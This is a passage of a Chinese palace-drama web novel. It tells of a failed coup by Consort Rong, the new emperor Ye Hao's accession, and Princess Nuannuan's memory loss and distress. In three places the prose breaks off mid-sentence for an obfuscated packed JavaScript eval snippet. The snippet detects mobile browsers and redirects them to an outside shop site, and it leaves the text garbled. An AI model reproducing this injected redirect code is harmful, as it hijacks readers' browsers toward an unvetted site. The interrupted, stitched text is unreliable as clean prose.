叶均见此情此景,知大局已定,随即向叶皓行叩拜:“臣叶均叩拜新君,恭请圣上临朝。” 众朝臣见叶均如此,也纷纷面向叶皓行叩拜大礼:“恭请圣上临朝。” 叶皓看着众人如此,脚下后移了半步,眼中闪过一丝难以置信,他不相信他父皇看中的是他? 眼看胜利就到要手,荣贵妃如何会放弃,她说道:“玉玺缺角又如何?陛下早有此意,本宫手里的诏书早已立下。” 暖暖这下有了底气,反驳道:“孩子昨夜才诞下,男女未知,陛下不会糊涂至此,更何况,孩子根本就不是你生的。” 此言一出,众人一片哗然。 荣贵妃脸色变得十分难堪,骂道:“你这妖女,血口喷人,竟敢如此污蔑本宫,来人,给我拿下。” 忽然一个人头滚到她面前,肖云平上前说道:“你是在找他吗?杜绍之及众叛军已被拿下。” 荣贵妃定睛一看,才看清那是杜绍之的头,她惊慌地后退了两步,问身边的人:“二公子呢?” 一个卫尉回答道:“二公子昨夜于翠微楼宴饮,后翠微楼大火,二公子不知去向。” 荣贵妃咬着后槽牙恨恨地说道:“成事不足,败事有余。”她看着众人,并不畏惧,只是大笑起来。 笑过之后,继续说道:“今日,这帝位只能是我儿子的,谁也夺不去。”说完挥了一下手。 只听的一阵拉弓声从上空传来,众人抬头,只见太极殿高处已布满弓箭手,个个张弓搭箭,只等命令。 再看向荣贵妃时,她身边已经多了两个人质:惠妃和淑妃。 她有恃无恐:“所有人,立即放下武器,本宫还能给你们留个全尸。” 叶皓见母亲被胁迫,欲立刻上前去解救,叶均却拉住他的衣袖,对他轻轻摇了摇头,又用眼睛瞟了一眼弓箭手们。 叶皓立刻明白他的意思,冷静下来,缓缓走上前去,说道:“荣妃,你若还想活命,立即将人放了,就地伏法。” 这时,一个女子从殿内走出,蓬头垢面、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335553|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面容枯槁,一副人不人不鬼的模样,嘴里叫道:“我的孩子呢?我的孩子……”之后她从侍女手中抢过襁褓,抱在怀中轻轻地拍着。 荣贵妃见状慌了神,大喊道:“谁让她出来的?带回去,快带回去……” 暖暖细看那女子,震惊不已,竟然是叶朝雨。 原来怀孕之人是朝雨,故而荣贵妃一直不让她见人,故而梁帝一直说她可怜。 叶皓提刀说道:“大胆荣贵妃,假孕欺君,矫制矫诏,罪不容诛,快快束手就擒。” 荣贵妃已是穷途末路,提了一把刀,架在惠妃脖颈处,说道:“遗诏真假又如何?孩子是谁的又如何?叶皓,你现在有什么资格来提条件,只要我一声令下,你们全都要为陛下陪葬。本宫的兄长在西南早已做好准备,这天下还是本宫的,若你们现在想本宫俯首称臣,本宫或许能给你们留个全尸,哈哈哈哈……” “毒妇,简直是疯子……” “这可如何是好?” “如今三个皇子都在这里,江山社稷危已……” 众人咒骂着荣贵妃,目光却投向叶皓,等待他的抉择。 叶皓开口:“你以为你们计划周密吗?我在在祁国被刺杀时便看出来端倪,之后我与成王联手,一边调查一边布局,为的就是今日,现在西南有重兵驻扎,他杜卫出不了西南。” 众人听完,皆恍然大悟,兄弟阋于墙、而外御其辱,原来这这嫌隙也是谋略。 荣贵妃心下虽慌乱,却依旧嘴硬:“不过是危言耸听罢了,我杜家在西南根基颇深,不是你几万军队就能敌得过的。” 此时她刀锋下的惠妃,看着这形势,说道:“荣贵妃,收手吧,你害了陛下,害了这么多人还不够吗?” 荣贵妃并不回头,苦笑一声:“收手?为何要收手?若不是我精心照顾,陛下活不到今日,我所求的不过是皇后之位,若不是陛下一直不兑现,也不会到今日这一步,是他逼我的。朝雨,要怪就怪她不听本宫的话,非要嫁于那顽劣之人,至于你们,都要给陛下陪葬……” 惠妃转头看着台阶下的一众人,最后目光留在叶皓身上,她从未见过儿子如此模样,一袭戎装,身姿英武,冷峻的面容之上满是担忧。 这孩子长大了,的确是长大了,如今他已是储君,社稷安危系于他一身,她不能成为他的绊脚石。 猛然间,她的眼神变得坚定起来,起身撞上了荣贵妃的刀锋,刀刃划过脖颈,血溅三尺。 “母妃……”叶皓大喊一声,拼命向惠妃尸身奔去。 荣贵妃未想惠妃竟如此刚烈,愣了一瞬又将剑锋对上了淑妃。 暖暖离得稍近些,拔出飞镖掷了出去,不偏不倚正好打到了荣贵妃的小臂上,虽然只划了一道口子,却让剑锋偏了一寸,淑妃因此逃过一劫。 荣贵妃连声高喊:“放箭、放箭……”,但是无人回应,原来高处的弓箭手已尽数被人控制。 第三声“放箭”还没出口,她便两眼一黑倒地身亡,七窍皆出黑血。 她是中毒身亡,暖暖射出的飞镖是那枚淬过毒的簪子,见血封喉,杀人于须臾。 忽听又得一声惨叫,暖暖顺声看去,只见叶朝雨面色灰白、目光呆滞,直挺挺地向后倒去,身下的襦裙被鲜血浸透。 襁褓落地,从里面滚出一个身发紫的婴孩,没有发出任何声音。 她不自觉地走向婴孩,那时一个小小软软的很漂亮的孩子,却没有了呼吸,她用襁褓将孩子的脸盖好。 周围安静下来,一切尘埃落定,她起身环视周遭,满地尸体血流成河,叶皓抱着惠妃的尸身痛哭不已,众人跪拜在地,山呼万岁。 抬头西望,残阳如血,她长长地呼了一口气,身体内的最后一丝力气也随之出去。 疲惫与沉重排山倒海而来,手中的刀掉在了地上,脚下一软,如同坠入了万丈深渊。 92. 梦醒忆难寻 晨光微明,金乌从地平线上缓缓升起,霞光犹如薄纱将整个梁宫覆盖,一切都那样的静谧祥和。 太极殿的西偏殿内却是一片忙碌,外面中官侍立,里面十几个侍女围在床边,一个太医跪在脚踏上,将银针刺在了郡主的十宣穴上。 此时的暖暖正如腾云一般在一个虚无缥缈的地方游荡,一切看不到摸不着,这是哪里?她为什么会到这里来?要如何从这里出去?她全然不知道。 她尝试着问:“有人吗?”可她自己都听不见自己的声音,更别提有人回应,这个广袤无垠的空间似乎没有边界,只有永恒的黑暗。 手指上的刺痛感让她猛然一惊,接着便向下坠落,坠落感又让她身躯一震。 缓缓睁开眼睛,强光令眼睛有些不适,她想抬手去遮,却没有力气,只能再闭上眼睛。 耳边却传来喜极而泣的声音:“郡主,你醒了?快,快去请陛下,郡主醒了。” 眼睛也渐渐适应了光线,看清周围的一切,她正躺在榻上,一位医官正在收起银针,并说道:“臣去为郡主熬汤药,告退。” 她脑海中却一片空白,问道:“这是哪里?” 刚才说话的侍女用帕子将她手指上的血迹擦去,解释道:“这里是太极殿,郡主已经昏迷两天了,刚才太医为郡主施了针才醒了。” 这声音好生熟悉,可却想不起来是谁,暖暖问道:“你是?” 那侍女瞪大眼睛,变得紧张起来:“奴婢是舒雁呀!郡主不记得了吗?还有画眉……”说完,她又招呼画眉过来。 暖暖看着两个人,却什么也记不起来。 很快叶皓与叶均赶到,众侍女见之纷纷叩拜。 二人得知情况,对视一眼后眉头皱得越发紧了起来,当即命医官来诊脉。 叶皓坐在榻边,问道:“暖暖,看我是谁?”又指着叶均,“他是谁?” 暖暖见眼前之人身着绛色袍、头戴通天冠,一副天子装扮,又见另一个人身着紫色蟒纹朝服,应是朝中重臣。 她看了良久,最终还是摇了摇头。 医官很快到来,细细切了脉后,面色凝重跪拜请罪道:“从脉象上看只是是心脉亏损,今后需慢慢调养。” 叶皓问道:“那为何会失去记忆?” “记忆骤然而失多因外伤,可郡主头部并未受伤……下官医术浅薄,还需其他医官诊脉之后,再下结论,望陛下恕罪。” 叶皓回忆起当日之事,那一招海立云垂之后,她的状况与当日石城湖畔比剑后的状况如出一辙,或许病因在此。 他心中了然,不为难医官,只说道:“快将所有医官都传来。” 医官刚走,外面就传来声音:“成王妃到”。 淑太妃在宫变中受到惊吓,大病一场,后宫内无人主事,他便下了旨意,命夏萱回京,与淑太妃共同协理六宫。 夏萱快步走来,匆匆向叶皓行了一礼,顾不得其它,上前抓住暖暖的手滴下泪来,说道:“你可算醒了……” 暖暖看着这群陌生又熟悉的人,有些茫然,没有力气去细想。 叶均上前来扶起夏萱,悄悄说道:“暖暖什么都不记得了,陛下面前,别失了仪。” 夏萱忙起身擦了眼泪,向叶皓请罪道:“陛下恕罪。” 叶皓看着昔日亲切哥哥、嫂嫂,如今都这般恭敬,心中很不是滋味。 一切都结束后,他没有时间悲伤,搜寻京中余孽、围剿西南叛军、安抚朝臣、料理丧事……堆成山的奏折已经让他和叶均一夜没有合眼了。 他吩咐舒雁:“传些膳食来。” 舒雁行礼:“回陛下,已经安排了,一会便送来。” “好,刚才医官说郡主的病需好生休养,不要让人来探访,三哥、三嫂,你们去用膳吧。” 叶皓是有意让他们夫妻二人团聚,自夏萱进来宫,还是第一次见到叶均。 夏萱又拉了拉暖暖的手:“我晚些再来看你。”之后与叶均告退而去。 膳食端来,盛了一碗金丝燕窝粥,叶皓接过,慢慢地搅拌晾凉。 暖暖靠着舒雁坐起身来,看着眼前之人满脸疲惫,眼中布满血丝,她试探地叫了一声:“陛下?” “我是你四哥,刚才的是三哥和三嫂,三嫂也是你表姐。”叶皓简单几句将人物关系捋顺。 可这些信息足够暖暖消化一段时间。 叶皓接着说道:“前日你与反叛的卫尉对抗,用了‘海立云垂’一招,你内力不足,反倒伤了自身,我想失忆也是因此而起,放心,待你身体好起来,记忆自然也就恢复了。” 他如此说只是安慰她罢了,其实一点把握也没有,这太一玄门剑法,他了解得不多,但他脑中已经开始计划找冷逸尘或者上长右山去寻求原因,之后再为暖暖治疗,总之,他坚信一定会有解决的办法。 这些话让暖暖不能理解,垂下双眸,不知该如何作答。 叶皓见她不语,便不再说什么,将粥半勺半勺地送入她口中,半碗粥用了两刻钟才用完。 能吃进东西去便是好事,叶皓很是欣慰,简单叮嘱几句后便要回去,时间对他来说太宝贵了。 起身而出,在一群人跪拜恭送下他行至门外连廊处,却隐隐约约听见说话声,透过树丛,看到了夏萱与叶均的身影,他示意跟随的中官后退噤声。 夏萱低头拭泪,说道:“我听宫人说了那日的情形,真是后怕,我真不该离开京城,要死咱们也要死在一起。” 叶均接过夏萱的手帕,为她擦干泪痕,说道:“都过去了……让你们出京是为了保护你和孩子,你们若有什么好歹,我这一切谋划还有什么意义。”说完,将夏萱揽入了怀中,轻轻抚着她的肩膀。 夏萱挣扎了一下,声音中透着些紧张:“这是太极殿,不得失仪。” 叶均并不松手:“不怕,没人敢看。” “她怎么办?” “谁?” “你说呢?” 叶均今日来繁忙无比,脑中全是朝政,所想到的人也是朝中大臣,一时不解其意。 “杜兰芳……”夏萱提醒他。 虽说杜兰芳是杜家人但她又是成王侧妃,负责追查的人不知如何处置,只得先将王府围起来,软禁了杜兰芳,等待梁帝的旨意。 朝中大事比比皆是,他们怎敢因这点小事去烦扰陛下,故而叶皓还没来得及处理。 对于杜兰芳,叶均不是没有考虑过,她二八年华委身于他,此生已然荒废,此后要将她如何,他心中也是犹豫不定。 此刻夏萱提及了,他无法再回避,他说道:“她是杜家人,理应问斩,但我想求陛下开恩……萱儿,你知道,她也是身不由己……我想……”< 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得到消息后,叶均的手中的笔顿了一下,然后继续未完之事,他心里清楚这是陛下的意思,对于所有人来说,这都是最好的结局,除了杜岚芳…… 殿外的朝堂风起云涌,而殿内的暖暖一片茫然,凌乱的记忆犹如碎片,拼凑不到一起。 记忆丢失了,可头痛的病症却没有一并丢失,而且愈发严重,以前只在傍晚发作,而如今便是多想一点就开始头痛。 太极殿中外臣来来往往,她住着总归不方便,待能行走之后,便搬去了临华殿与淑太妃、夏萱同住。 由于西南战事紧张,大行皇帝丧仪及新帝登基大典,皆在一个月内匆匆完成。 这些她都没有参加,只是每天坐在窗前看着人来人往,尝试着将记忆一点点找回。 国丧期间,寺庙里的钟声日日响起,她却觉得这钟杵是在敲击她的头,头疼令她日夜难眠。 各种仪式过后,一切都走向正轨,朝臣中要求新帝立后的呼声不断高涨。 叶皓不予理会,直接颁布的三道圣旨,第一道:追封先惠妃为皇后,他为先帝及太后守孝三年;第二道:赐成王新府邸、府邸修缮竣工之前成王携家眷暂居建章殿,成王妃助淑太妃协理六宫事宜;第三道:封先庆王之女叶青为平阳公主。 夏萱搬离临华殿当日,叶皓来探望淑妃,这是他登基后第一次踏入后宫。 淑妃被吓狠了,先帝驾崩她又伤心,故而过了月余,身子仍不见好转,她见了叶皓,先与他哭泣了一番,表示甚是思念先帝和太后,恨不得与他们同去。 叶皓劝慰了一番方才止住。 接着她又与叶皓商议后宫之事:“其一,先帝后宫遗孀共六人,除本宫之外皆值盛年,宜迁宫别居;其二,中宫无主,陛下宜早日立后纳妃;其三,宫中侍女,年长者无数,宜早日安排去处,彰显皇恩。” 她这一番话,倒是让叶皓对她有了新的认识,以前的淑太妃性格温和、无甚主意,女儿叶如雪病逝后,更是事事以他母亲马首为瞻,现在看来她才真正的大智如愚。 叶皓回答:“太妃所言之事,请太妃与成王妃斟酌着办即可。只是眼下战事吃紧、朝堂未稳,且朕已立誓为先皇守孝三年,立后之事不要再提及了。” 淑妃也是点到为止并不深劝,只是点头称是。 93. 情深意难平 辞了太妃,叶皓便去看暖暖。 他未带侍从,独自一人来到偏殿,只见冰绡侍立门口,舒雁正开门出来,二人见了他,赶紧行礼。 他命二人起身:“这大白日的,怎么防守这么严?公主呢?” 舒雁小声道:“回陛下,公主刚睡下了,公主近来焦虑不安,定要冰绡守着才放心。” “这才什么时辰,就睡觉了?” “公主这些日子都休息不好,头痛难眠,昨晚又是一夜未睡。” 叶皓双眉不自觉地收紧:“叫医官来看过没有?” “没有,公主不准,也没有喝药,说是怕麻烦,陛下去劝劝公主吧,您的话她还是听的。”舒雁正为此事担忧,这下可抓到了救星,便将情况一五一十地说来出来。 叶皓有些生气:“荒唐!怎么不早来报,她不吃药不看医官,你们就由着她来?” 舒雁和冰绡急忙跪下请罪。 此时屋里响起暖暖警惕的声音:“外面是谁?” 她并未睡实睡实,这些日子来一直是半梦半醒的状态,有时明明是醒着,但是她就是想闭着眼睛假装睡着。 这段时间记忆一点点恢复,当她要回舒雁手中的锦囊后,便开始日日紧张,生怕这锦囊丢失或者被别人看到。她不知该如何处理这锦囊,便时刻带在身上,尽量缩小活动范围,最后干脆连寝殿都不出去,还要冰绡守在外面,对于周围未知的恐惧,让她选择了逃避。 听见外面的声音,她紧张地坐了起来,先检查了一下锦囊没有问题,才问问外面是谁。 叶皓闻声而入,见暖暖坐在床上,眼中满是担忧与戒备,他慢慢走近轻轻叫来一声:“暖暖……” 暖暖见是哥哥,心中松了口气,落下因紧张而微耸的肩头,想叫一声“四哥”,可张口却说是“陛下”,欲起身见礼。 叶皓将她按回床上,见她一脸憔悴、发髻松散,既心疼又责备地说道:“医官也不看,药也不喝,你要做什么?” 暖暖未语,只觉心中十分的委屈,眼睛一眨,泪水便流了出来。 叶皓方觉说话重了,将语气放缓一些,问道:“怎么总是闷在屋子里?” 暖暖抹掉眼泪,说道:“外面太吵了,我不喜欢。” “可记起什么来了?” 暖暖起身坐到案几旁,倒了两杯水,说道:“能记一些来,但是很多事情很混乱,记不起什么先发生什么后发生的……那日的事我倒是记得,只是不明白为何会是这样,荣妃到底谋划了什么?” 叶皓于她对面坐下:“父皇在前一日就驾崩,荣妃命人用冰将遗体保存起来,和你之前推测的一样,荣妃与杜家产生了分歧,她想用朝雨的孩子名正言顺地夺权。所以朝雨一有孕便被荣妃软禁起来,父皇病逝时,她还没有生产的迹象。荣妃真是狠心,硬是用药将胎儿催产下来。孩子很小,终是没有活下来,朝雨也因血崩而亡。” 一幕幕在暖暖的脑中闪现:小小的婴孩滚落在地上、叶朝雨被血浸透的襦裙、插入惠妃胸口的刀、七窍流血的荣妃,还有那如血的残阳……她有些惊恐,用双手抱着头喃喃地说道:“怎么会如此狠心……” “杜卫欲反,荣妃一开始是支持的,后来朝雨有孕她便有了自己的想法,杜绍之和杜纯之兄弟二人也不齐心,杜绍之支持他姑姑,杜纯之支持他父亲杜卫。人心不齐,他们必败。之前杜家与白高人联手刺杀,也是互相利用,白高人想入侵中原,杜家想坐收渔利。” “还有你母亲的事也查清楚了,当年她的确是死于胸痹,不过前一日荣妃也的确单独见了她,无人知道发生什么,那日的糕点是膳房新制的样式,各宫都有。那个叫彩萍的侍女是荣妃派人灭口,应是怕当年之事泄露。还有中官交代,荣妃本想在后苑谋害了你,但是关键时候父皇却将你叫去抄经,她这才没了下手的机会。” 荣妃、杜纯之、杜绍之、白高、中原、母亲、彩萍,这些人、这些话,暖暖有些能懂,有些又不懂,脑中一片混乱。 叶皓见她不适,不再说下去,只安慰道:“这些都过去了……现在能记起来就很好了,慢慢来。”之后他看看外面阳光正好,便提议:“出去走走?” 暖暖看着窗户上闪耀的碎光,已经好久没出去了,于是唤来舒雁为她梳妆。 叶皓自去殿外等候,良久,暖暖才出门,二人未乘肩舆一路步行。 跟随的中官们皆有诧异:陛下对这位公主未免太过宽容了。 梁宫的甬路深邃而漫长,一眼望不到头。 暖暖始终比叶皓慢一步,跟在他后面保持沉默。 终是叶皓先开口:“我一坐就是一天,好久没活动了……你也要多出来走走。” “是。” “你怎么会有遗诏?” 暖暖听完心中一惊,摸了摸袖中的锦囊还在,小心简短地回答:“回陛下,端午节前一天先帝突然让臣女写下的。” 叶皓突然站住,手一挥,一众中官纷纷退下,他眼里有些悲戚:“现在,连你也要这样对我吗?三哥每天都是‘陛下、陛下’,毕恭毕敬地叫着,再也听不到那些教导的话,再也不能与我开怀畅饮。三嫂见我也是立即跪拜,再也不会给跟我开玩笑,也不会给我留糖吃。你知道我心里是什么滋味吗?你们是我最亲的人,是我能交付后背之人,可现在我一回头,身后就是像是一片虚无。” 暖暖也意识到自己的戒备心太重了,解释道:“怎么会是虚无,整个朝臣和梁国都是你的后盾,先君臣而后兄妹,有外人在,我自然要对你恭敬些,要不那些宫人们又有说的了。” 叶皓叹了口气缓了缓情绪,说道:“是我欠考虑了,这宫中终究比不了外面半点自由。” “既然选择了这个位置,放手去做你想做的事,这便是你现在的自由。”暖暖说罢,看了他一眼,继续前行。 她眼神难以名状,晦涩而幽深,叶皓一时也看不出其中的意思,追上去问道:“你这是什么意思?读了几日佛经,怎么就说话高深起来了?” 暖暖赶紧换了话题:“走了这么远,一会儿我是走不回去的。” 叶皓回头看了一眼:“这就算远了?还能看见临华殿的大门呢。” 二人并肩又走了一段路,便到了金华殿。 金华殿主殿已经被改成了佛堂,暖暖感受着佛像下的安静庄严,不自觉地走了进去,礼佛后对叶皓说道:“我想搬到这里来。” 叶皓半开玩笑:“这里是佛堂……难道你想出家?” “这里安静,还有经堂,我可以在这里好好想想我的以前。” 叶皓环视一周后说道:“这样吧,西偏殿单独围起来,你还住在哪里。” “如此甚好,上柱香吧!” 叶皓转身看了看大殿,回过头来说道:“我没什么所求的,我所求的自己会办到。” “祁国已经要求派使团来访问了,你想让他来吗?”他试探着问道。 “什么?你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354269|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在问我吗?让不让他们来不该是你和朝臣们商议吗?” “哦……是……是,你还记得你原来叫什么名字吗?” “什么原来?我不是叫暖暖吗?” “我是说大名,姓名?” 暖暖有些不确定地问:“是叶青吗?宗谱上是这样写的,你的旨意上也是这样写的。” 她带着疑惑地看向叶皓,不知他怎么会问这么奇怪的问题。 叶皓心中一凉:她还是忘记了许多事情。 次日一早,淑贵妃便命人去上奏陛下,她欲携先帝诸位遗孀迁至京外行宫。 叶皓赶紧来到后宫,以六宫需太妃统领后宫、管理后宫事务为由再三挽留,她才留了下来。 一番商议后,她决定将其它妃嫔则迁居一处,衣食用度皆照旧例。 紧接着,她又对叶皓说了裁撤旧侍女,招募新侍女的想法,叶皓无一不允。 随后一切事宜按照淑太妃的意思,有条不紊地进行着。 对于周围的人,暖暖虽然知道她与他们是什么关系,但是不能深追究,一但深追下去就是一片空白。就像夏萱,暖暖知道她是表姐,也觉得很亲近,但是记不起她们之间的过往。 这次后宫侍女更换之时,内务府给她安排了一个新侍女:文瑶。暖暖看她亦觉得眼熟,却叫不上名字来。 文瑶一见暖暖先拉着她的手哭道:“好妹妹,你怎么变成这样了?”在内侍的斥责下,她才又规规矩矩地叩首道:“奴婢拜见公主殿下。”其实她的眼泪多一半是为自己而流。 说起来文瑶也算是“千古第一痴情者”,为了叶皓多年不嫁。叶皓登了皇位,按说她也该死心了,可偏偏逃不出一个“情”字。 宫中在民间选拔良家女充实内庭,文瑶连想都没想就报了名,文辉得知后打了她一巴掌,将她关进了祠堂罚跪,他则想方设法疏通关系,想取消文瑶的资格,可为时已晚,内庭征用的文书还是送到了文家。 文辉无可奈何、失望透顶,命家人不得再管文瑶之事。文辉之妻不敢忤逆丈夫,但是悄悄给文瑶塞了好些银两,文瑶入宫后暗中贿赂掌事嬷嬷,如愿被分到了太极殿当了奉茶侍女。 她当值的第一夜,特意画了姣好的妆容,只为能引起叶皓的注意,然而却未能如愿,直至三日后,她故意打翻了茶水,才引起了叶皓的注意。 叶皓欲将她送回文家,可她却哭诉已与家里闹翻,出宫去便是死路一条。 叶皓无奈,只得将她送到了暖暖这里。 文瑶的心事,除了哥嫂便只有暖暖知道,她见了暖暖觉得心中委屈能诉说一二,但未想到暖暖却什么也不记得了。 可怜暖暖一个病人,倒要反过来劝慰她,说自己只是一时记不清了,慢慢会想起来。 既然有旧,就不能将她当成普通的侍女,舒雁、画眉知道缘由,亦对她有几分恭敬,只有冰绡对她看不上眼,二人多次发生不愉快。 暖暖自然不管这些事情,她现在最要紧的是将锦囊藏起来,她在佛堂观察了好几日,发现佛像金身后正合适。 这日正午,她趁着侍女瞌睡之时,将锦囊用樟木盒子装了,悄悄藏到了佛像金身之后。 她心中愧疚不安,于佛向前叩首长跪,心中祈求佛祖原谅、祈求先帝原谅、祈求叶均原谅、祈求夏萱原谅……她要祈求得太多了…… 祈求完毕,睁眼却见一双脚站在身侧,恐慌让她的身体狠狠颤抖一下,之后两眼一黑便晕了过去。 94. 醒时心茫然 再睁眼时,暖暖已在床上,周身依旧围着一群侍女,与上次的情形一模一样。 只见舒雁上前来说道:“公主,真是吓死奴婢了……”随后吩咐人去告知陛下。 告知陛下?难道还在太极殿?难道又重来了一次?但是她认识眼前的侍女是舒雁。 她坐起了身子,问道:“我怎么了?怎么就吓到你了?” 舒雁向侍女们使了个眼色,众侍女退下后,她才小声说道:“公主在佛堂打了陛下,然后又哭又闹的,您被韦素打晕,是陛下将您扛回来的。” “什么?”暖暖一脸不可置信。 “嗯,陛下还在外面等着。” “醒了?舒雁,去煎药吧。”叶皓的低沉的声音响起。 舒雁心中不免为公主担忧,但却只能行礼告退。 暖暖看着叶皓的黑脸,问道:“舒雁说我……打了你?” “是,打得倒是也不重……你这是怎么了,还不等看清楚人就下手。” “我不是……我没有……这大中午的,你怎么会在佛堂?” “我梦见母妃了,便来这里祭拜,哪知你正在礼佛,看见我就来了一拳,打不过还大喊大叫的,成何体统。” 暖暖还是不相信:“你和舒雁一起诓我呢吧?我再害怕也没大喊大叫过。” 叶皓细细思量一下,也的确是这样,可想到刚刚医官的话,他想可能是她不记得刚刚发生的事了。 他未再强调实事,而是说道:“既然没事,休息吧,我走了,别总去佛堂了,也到别处去走走。” 刚才医官诊完脉出去后向叶皓说了病情,医官怀疑是“郁证”。 “郁证”这两个字,他再熟悉不过,当初秦羽就是同样的病,当初为了给秦羽疗疾,他们几乎跑遍了半个梁国,纵然再困难,秦羽也被医好了,那么暖暖也就有希望。 医官斟酌着开了药方:丹皮一钱、栀子一钱,柴胡两钱,当归两钱,白芍一钱、白术两钱,茯苓一钱,炙甘草半钱,以莲芯三枚为引。并说道:“身病易治,心疾难医。要想医好,还需找出心结所在。” 叶皓听了不由陷入沉思:即是心疾,必有缘由。 但缘由是什么?他首先想到了冷逸尘,可显然暖暖已经全然不记得他了;或是宫变给她的打击太大了,可她提及此事也未有过多的情绪,到底是什么原因,他想不出来。 行至外间,看见舒雁正在整理东西,便问道:“最近公主可有异常?” 舒雁想了一下摇摇头:“回陛下,并没有事情发生,公主日常除了去佛堂看一看便就是在寝殿里。” “今日这样的事,可曾发生过?” “没有……公主一向性格温和,从未有如此失态之举。” “嗯……以后公主身边不要离开人,有什么事立即来告诉朕。” 叶皓接过舒雁手中的香囊,看着未绣完的茉莉,又想到淡云阁里那一院子的茉莉花,随口问道:“这是谁绣的?” “回陛下,是公主在王府时绣的,奴婢这几日收拾东西时翻找出来,帮公主绣完。” 叶皓又拿起旁边的一个彩蝶牡丹纹样的香囊:“这个看着倒是华丽,却也俗气,不过不像是你的绣工。” 舒雁细看了看,回道:“的确不是奴婢所绣,奴婢也不知这从何而来。” 此时,文瑶奉茶进来,正看见叶皓拿着香囊,心中一喜,但听到之后的对话,心中又一凉:暖暖根本就没有把香囊交给过叶皓,不想公主竟是如此之人,信誓旦旦地答应下来,却不兑现,一股恨意涌上心头。 忍着脾气将茶默默奉给叶皓,叶皓也未看她一眼, 她转身退下,泪水滑落,身后,叶皓还在细细叮嘱舒雁:“公主的东西都收好,说不定她看见了会想起什么……” 叶皓说完放下香囊起身离开,路过文瑶身边时,依旧没有注意到她。 陛下可以同一个侍女说笑,却不理睬她,她心中暗自悲伤,回到住处将摔摔打打地砸了好些东西,又伏在床上哭了许久。 冰绡以为出了什么事,急忙进来查看,却见她如此这般,便知又在耍小姐脾气,于是讥讽道:“受不了这里的苦就回家去,你这个样子给谁看?” 说者无意,听者有心,文瑶以为这“谁”指的是陛下,又羞又臊,当即起身与她理论:“我自哭我的,何须给别人看?用得着你管?”说着气急了将手边的茶盏扔了出去。 冰绡何等矫捷,一闪身便躲了过去。 文瑶并不甘休,又抄起茶壶砸了出去,又被冰绡躲过,那茶壶落在了正掀帘进来的舒雁脚边,骇得她吃了一惊,“这是怎么了?怎么还动起手来了?” 冰绡未言语,蔑视了一眼文瑶后转身离去。 文瑶气得直跳脚:“你……你给我回来……把话说清楚。”说完又呜呜咽咽地哭了起来。 舒雁上前劝慰,却也被她一顿排揎,直言她身份低贱还肖想后妃之位。 舒雁心中虽委屈,却只当她是在气头上口不择言,并不与她计较。 出来后她去给公主送药,只见公主坐在床沿上发呆,便轻轻叫来一声:“公主?” 听到声音,暖暖回过神来,她正反复回忆当时之事,怎么也记不起来自己又哭又闹的样子,可他们为什么这样说?叶皓有没有看到她藏锦囊?她准备去确认一下。 待她向舒雁确认叶皓已经走了后,便起身要去佛堂,舒雁当然劝阻,她起身时又是一阵眩晕,只得闭眼揉了揉头。 睁眼后却看见舒雁正红着眼睛收拾地上的碎瓷片,手指被瓷片划破,正滴着鲜血。 这是怎么一回事?就眨眼的一瞬间怎么就出了这事?她上前拉起舒雁的手问道:“发生什么事了?手都破了。”说罢唤冰绡拿药进来。 舒雁见公主这样子,似乎又是忘记了,她将责任揽过:“公主恕罪,是奴婢失手碎了药碗。” “这有什么么,快包扎一下。” “谢……公主。”舒雁心中有委屈,,但她很快就擦干净了。 “药碗碎了,我怎么不知道……”暖暖竟然没有听到一点声音,再看药汁洒在地上的形状,明显是摔出去的,她想了一下问道:“舒雁,这药碗是不是我摔出去的? 舒雁听公主如此问,以为她记得了,小心问道:“公主想起来了?” “我就知道你在骗我。”暖暖隐隐有些怒气,责问道:“你说实话,刚才到底发生了什么事?” 舒雁赶紧跪地请罪:“是公主生气将药碗砸了,还呵斥……了奴婢。” “为什么……为什么我做了什么我自己不知道……”暖暖明明她记得她是要去佛堂看锦囊,怎么就变成了这个样子。 到底是怎么回事?她只觉头部一阵剧痛。 舒雁见状赶紧上前安慰道:“或是公主最近太劳累了,休息一下便想起来了。” 暖暖胸中烦闷,不耐烦地说道:“每天连门都不出,有什么劳累的?” “奴婢陪公主去后苑走走吧,后苑种了不少绣球花,现在开得正好。” 暖暖摇摇头,她命舒雁与冰绡出去包扎,她则悄悄又去看了锦囊,见锦囊完好无损躺在佛像身后,才松了一口气,回想今日之事,或是因为太紧张的缘故,也许,的确应该出去走走。 于是她简单梳妆、换了衣服后与舒雁同去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下开恩,刚刚放出去了一批侍女,奴婢要等到二十五岁才能出宫去。” 暖暖知道,舒雁也是因为她才放弃了这次恩典,原来她耽误了这么多人:“你放心,你若想走,我来想办法。” “奴婢愿意侍奉公主一辈子。” 一辈子是多么漫长啊!暖暖怅然道:“一辈子……我连明天怎样过都不知道。” 舒雁犹豫了一下说道:“公主还是劝劝文小姐回去吧,到底是世家小姐,怎么能一直在这里。” “我不知道该怎么劝,随她去吧,想明白的自然就回去了。” “那冰绡还要继续忍些时日了。” “冰绡怎么了?” 